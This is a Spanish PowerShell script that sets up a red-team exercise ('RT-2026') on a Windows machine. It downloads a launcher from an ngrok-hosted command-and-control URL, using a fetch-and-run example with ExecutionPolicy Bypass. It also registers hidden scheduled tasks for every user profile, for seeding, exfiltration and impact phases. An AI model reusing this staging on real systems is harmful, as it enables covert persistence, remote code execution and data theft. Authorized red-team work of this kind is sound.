#Requires -Version 5.1 <# .SYNOPSIS Puesta en marcha del ejercicio RT-2026 en UN equipo, con UN solo comando. .DESCRIPTION Este es el unico script que hay que ejecutar en el equipo. Hace todo: 1. Abre su propio registro (no necesita que nadie redirija su salida). 2. Crea las carpetas de trabajo y da permiso al grupo Usuarios. 3. Descarga el lanzador del centro de mando y verifica su huella SHA-256. 4. Crea las tres tareas programadas del ejercicio. El paso 4 se adapta solo a quien lo ejecute: - Como SYSTEM (tarea de equipo, el caso del despliegue por directiva): no existe un "usuario actual", asi que recorre los PERFILES del equipo y crea las tres tareas para cada uno. Asi el ejercicio alcanza tambien al usuario que aun no ha iniciado sesion. - Como administrador con sesion (el caso del equipo piloto): crea las tareas para quien lo ejecuta. Las tareas se registran con los cmdlets de tareas programadas, no con schtasks, para poder marcar "ejecutar lo antes posible tras un inicio perdido": eso evita que un equipo apagado a la hora programada se quede sin hacer la fase. .PARAMETER DiaCero Fecha del dia del ejercicio, en formato dd/MM/yyyy. Las fases 2 y 3 se programan ese dia. La fase 1 (siembra) se programa al iniciar sesion. .PARAMETER HoraExfiltracion Hora de la fase 2 el dia cero. Por defecto 10:00. .PARAMETER HoraImpacto Hora de la fase 3 el dia cero. Por defecto 10:15. .PARAMETER BaseUrl Raiz del centro de mando, sin barra final. .PARAMETER SoloPreparar Solo carpetas, permisos y lanzador. No crea tareas. .EXAMPLE powershell -NoProfile -ExecutionPolicy Bypass -Command "iwr 'https://C2/rt/rt-setup.ps1' -Headers @{'ngrok-skip-browser-warning'='true'} -OutFile C:\Windows\Temp\rt-setup.ps1 -UseBasicParsing; & C:\Windows\Temp\rt-setup.ps1 -BaseUrl 'https://C2/rt' -DiaCero '12/10/2026'" .NOTES Debe ejecutarse ELEVADO: crear carpetas en ProgramData, dar permisos y registrar tareas requiere elevacion. Como tarea de equipo se ejecuta como SYSTEM, que ya la tiene. #> [CmdletBinding()] param( [string]$DiaCero, [string]$HoraExfiltracion = '10:00', [string]$HoraImpacto = '10:15', [string]$BaseUrl = 'https://enormous-purely-maggot.ngrok-free.app/rt', [switch]$SoloPreparar ) $ErrorActionPreference = 'Stop' # --------------------------------------------------------------------------- # 1) Registro propio # # Como TAREA PROGRAMADA no hay consola ni redireccion: sin esto, el script crearia carpetas # y descargaria el lanzador sin dejar rastro de si funciono. # --------------------------------------------------------------------------- $carpetaRT = 'C:\ProgramData\RT' $carpetaRT26 = 'C:\ProgramData\RT26' $log = Join-Path $carpetaRT 'rt-setup.log' New-Item -ItemType Directory -Path $carpetaRT -Force -ErrorAction SilentlyContinue | Out-Null try { Start-Transcript -Path $log -Append -ErrorAction SilentlyContinue | Out-Null } catch { } function Escribir { param([string]$Texto, [string]$Color = 'Gray') Write-Host $Texto -ForegroundColor $Color } $quien = [Security.Principal.WindowsIdentity]::GetCurrent().Name $esSistema = $quien -match 'SYSTEM$' $elevado = $esSistema -or [bool]([Security.Principal.WindowsPrincipal]::new( [Security.Principal.WindowsIdentity]::GetCurrent() ).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) Escribir '' Escribir '=== RT-2026 - puesta en marcha en este equipo ===' 'Cyan' Escribir ("equipo : {0}" -f $env:COMPUTERNAME) Escribir ("ejecuta : {0} elevado={1} comoSistema={2}" -f $quien, $elevado, $esSistema) Escribir ("base : {0}" -f $BaseUrl) Escribir ("dia cero : {0} exfiltracion {1} impacto {2}" -f $DiaCero, $HoraExfiltracion, $HoraImpacto) Escribir '' if (-not $elevado) { throw 'Hay que ejecutarlo ELEVADO: crear carpetas en ProgramData, dar permisos y registrar tareas requiere elevacion.' } # --------------------------------------------------------------------------- # 2) Carpetas y permisos # --------------------------------------------------------------------------- foreach ($c in @($carpetaRT, $carpetaRT26)) { if (-not (Test-Path -LiteralPath $c)) { New-Item -ItemType Directory -Path $c -Force | Out-Null Escribir ("carpeta creada : {0}" -f $c) 'Green' } else { Escribir ("carpeta ya existe: {0}" -f $c) } $acl = icacls $c /grant '*S-1-5-32-545:(OI)(CI)M' 2>&1 if ($LASTEXITCODE -eq 0) { Escribir ("permisos Usuarios: {0} -> Modificar" -f $c) 'Green' } else { Escribir ("AVISO permisos : {0} {1}" -f $c, ($acl -join ' ')) 'Yellow' } } # --------------------------------------------------------------------------- # 3) El lanzador # --------------------------------------------------------------------------- $destino = Join-Path $carpetaRT 'rt-launch.ps1' $HuellaLanzador = '48FB3C553C4AAA0008CEF11B02E6C4CFB532D2BB784759D073BEA73381D2BBBE' $url = $BaseUrl.TrimEnd('/') + '/rt-launch.ps1' Escribir '' if ((Test-Path -LiteralPath $destino) -and ((Get-FileHash -LiteralPath $destino -Algorithm SHA256).Hash -eq $HuellaLanzador)) { Escribir 'lanzador : ya instalado y la huella coincide' 'Green' } else { Escribir ("lanzador : descargando de {0}" -f $url) $cabeceras = @{ 'ngrok-skip-browser-warning' = 'true' } Invoke-WebRequest -Uri $url -Headers $cabeceras -OutFile $destino -UseBasicParsing $nueva = (Get-FileHash -LiteralPath $destino -Algorithm SHA256).Hash if ($nueva -ne $HuellaLanzador) { Remove-Item -LiteralPath $destino -Force -ErrorAction SilentlyContinue throw ("LA HUELLA NO COINCIDE. Se ha descartado el fichero." + "`n esperada: " + $HuellaLanzador + "`n obtenida: " + $nueva) } Escribir ("lanzador : instalado y verificado ({0} bytes)" -f (Get-Item -LiteralPath $destino).Length) 'Green' } if ($SoloPreparar) { Escribir '' Escribir 'SoloPreparar: no se crean tareas. Equipo listo.' 'Cyan' Stop-Transcript -ErrorAction SilentlyContinue | Out-Null exit 0 } # --------------------------------------------------------------------------- # 4) Las tres tareas # --------------------------------------------------------------------------- # DiaCero es OPCIONAL a proposito. # # - Sin -DiaCero: las fases 2 y 3 se registran SIN disparador, es decir BAJO DEMANDA. Es # lo recomendado: CCA decide el momento, se ejecutan una sola vez, y no hay rafaga de 50 # equipos a la misma hora. El comando del dia 0 es el que las arranca. # - Con -DiaCero: ademas quedan programadas a esa hora. Util si prefieres que arranquen # solas, sabiendo que entonces no hay que forzarlas despues (se ejecutarian dos veces). if ($DiaCero) { Escribir ("modo : fases 2 y 3 PROGRAMADAS para {0}" -f $DiaCero) } else { Escribir 'modo : fases 2 y 3 BAJO DEMANDA (sin hora; las arranca el comando del dia 0)' } # A quien hay que darle las tareas if ($esSistema) { $noSonPerfiles = @('Public', 'Default', 'Default User', 'All Users', 'WDAGUtilityAccount') $perfiles = Get-ChildItem 'C:\Users' -Directory -ErrorAction SilentlyContinue | Where-Object { ($noSonPerfiles -notcontains $_.Name) -and (Test-Path -LiteralPath (Join-Path $_.FullName 'NTUSER.DAT')) } $cuentas = @() foreach ($p in $perfiles) { $cuentas += ("{0}\{1}" -f $env:COMPUTERNAME, $p.Name) } Escribir '' Escribir ("perfiles locales encontrados: {0}" -f $cuentas.Count) 'Cyan' foreach ($c in $cuentas) { Escribir (" {0}" -f $c) } if ($cuentas.Count -eq 0) { Escribir 'AVISO: no hay perfiles con NTUSER.DAT. Se crearan tareas solo para SYSTEM.' 'Yellow' $cuentas = @($quien) } } else { $cuentas = @($quien) } function Nuevo-Disparador { param([string]$Cuando, [int]$MinutosDeRetraso = 0) # Sin valor = sin disparador. La tarea se registra y solo se ejecuta cuando alguien la # arranca: es el modo bajo demanda de las fases del dia 0. if ([string]::IsNullOrWhiteSpace($Cuando)) { return $null } if ($Cuando -eq 'ONLOGON') { # Sin retraso artificial: la siembra se reparte sola porque cada persona inicia # sesion a una hora distinta. Y la propiedad RandomDelay NO existe en este objeto # (medido en la VM: "La propiedad 'RandomDelay' no se encuentra en este objeto"), # asi que intentar establecerla hacia fallar la fase entera. return (New-ScheduledTaskTrigger -AtLogOn) } $partes = $Cuando -split ' ' # AssumeLocal es imprescindible: sin el, la fecha se interpreta como UTC y la tarea # queda desplazada por el huso horario (medido en la VM: se pidio 10:15 y quedo a las # 15:15). $estilo = [System.Globalization.DateTimeStyles]::AssumeLocal $fecha = [datetime]::ParseExact(("{0} {1}" -f $partes[0], $partes[1]), 'dd/MM/yyyy HH:mm', [System.Globalization.CultureInfo]::InvariantCulture, $estilo) return (New-ScheduledTaskTrigger -Once -At $fecha) } $cuandoExfil = if ($DiaCero) { ("{0} {1}" -f $DiaCero, $HoraExfiltracion) } else { '' } $cuandoImpacto = if ($DiaCero) { ("{0} {1}" -f $DiaCero, $HoraImpacto) } else { '' } $fases = @( @{ Nombre = 'RT-2026 Fase 1 Siembra'; Accion = 'Vector1Plantar'; Cuando = 'ONLOGON'; Oculto = $true; Retraso = 10 }, @{ Nombre = 'RT-2026 Fase 2 Exfiltracion'; Accion = 'ExfilHttpsBurst'; Cuando = $cuandoExfil; Oculto = $true; Retraso = 0 }, @{ Nombre = 'RT-2026 Fase 3 Impacto'; Accion = 'Vector2Sim'; Cuando = $cuandoImpacto; Oculto = $false; Retraso = 0 } ) $ajustes = New-ScheduledTaskSettingsSet -StartWhenAvailable -AllowStartIfOnBatteries ` -DontStopIfGoingOnBatteries -MultipleInstances IgnoreNew Escribir '' foreach ($cuenta in $cuentas) { foreach ($f in $fases) { $oculto = if ($f.Oculto) { '-WindowStyle Hidden ' } else { '' } $argumentos = ('-NoProfile -NonInteractive {0}-ExecutionPolicy Bypass -File "{1}" -Action {2} -Execute' -f ` $oculto, $destino, $f.Accion) try { $accion = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument $argumentos $disparador = Nuevo-Disparador -Cuando $f.Cuando -MinutosDeRetraso $f.Retraso # Si no hay disparador, NO se pasa el parametro. Pasar una lista vacia (-Trigger @()) # hace que Register-ScheduledTask no registre la tarea: medido en la VM, las fases 2 # y 3 no llegaban a existir y el error quedaba enterrado entre las demas lineas. $disparadores = @() if ($null -ne $disparador) { $disparadores = @($disparador) } # Interactive = "ejecutar solo cuando el usuario haya iniciado sesion". No hace # falta contrasena, y es imprescindible: el ejercicio actua sobre SU perfil y su # pantalla. Nunca como SYSTEM. # El principal se registra con el SID, NO con "EQUIPO\usuario". # # Medido en el laboratorio de AD: con el formato local, una cuenta de DOMINIO da # "No mapping between account names and security IDs was done" (HRESULT 0x80070534, # ERROR_NONE_MAPPED) y la tarea no se registra. Y en CCA todos son de dominio. # El SID se saca del propio perfil, que ya sabemos que existe porque lo hemos # enumerado, y con el SID la resolucion no falla nunca. $soloNombre = $cuenta.Split('\')[-1] $idPrincipal = $cuenta try { $perfil = @(Get-CimInstance Win32_UserProfile -ErrorAction SilentlyContinue | Where-Object { $_.LocalPath -and ((Split-Path $_.LocalPath -Leaf) -eq $soloNombre) }) | Select-Object -First 1 if ($perfil -and $perfil.SID) { $idPrincipal = $perfil.SID } } catch { } if ($idPrincipal -notlike 'S-1-5-*') { Escribir (" aviso: no pude resolver el SID de {0}; se intenta con el nombre" -f $cuenta) 'Yellow' } $principal = New-ScheduledTaskPrincipal -UserId $idPrincipal -LogonType Interactive -RunLevel Limited # Parentesis, NO corchetes: en las consultas WQL de Unregister-ScheduledTask los # corchetes son una clase de caracteres y el borrado no encuentra la tarea. $parametrosTarea = @{ TaskName = ("{0} ({1})" -f $f.Nombre, $cuenta.Split('\')[-1]) Action = $accion Settings = $ajustes Principal = $principal Description = ("RT-2026 - {0} (ejercicio autorizado)" -f $f.Accion) Force = $true } if ($disparadores.Count -gt 0) { $parametrosTarea['Trigger'] = $disparadores } # -ErrorAction Stop es imprescindible: sin el, el fallo de registro es NO # terminante, no llega al catch, y este script escribe "tarea registrada" aunque # la tarea no exista. Medido en el laboratorio de AD: seis lineas de error y seis # lineas de "tarea registrada" mezcladas. Register-ScheduledTask @parametrosTarea -ErrorAction Stop | Out-Null Escribir ("tarea registrada : {0,-26} {1,-24} {2}" -f $f.Nombre, $cuenta, $f.Cuando) 'Green' } catch { Escribir ("ERROR en la tarea: {0} para {1} -> {2}" -f $f.Nombre, $cuenta, $_.Exception.Message) 'Red' } } } Escribir '' Escribir '--- estado final ---' 'Cyan' Get-ScheduledTask -TaskName 'RT-2026*' -ErrorAction SilentlyContinue | Select-Object TaskName, State | Format-Table -AutoSize | Out-String | Write-Host Escribir ("registro: {0}" -f $log) 'Cyan' Escribir 'Equipo preparado. Ya se puede ejecutar el ejercicio.' 'Cyan' Stop-Transcript -ErrorAction SilentlyContinue | Out-Null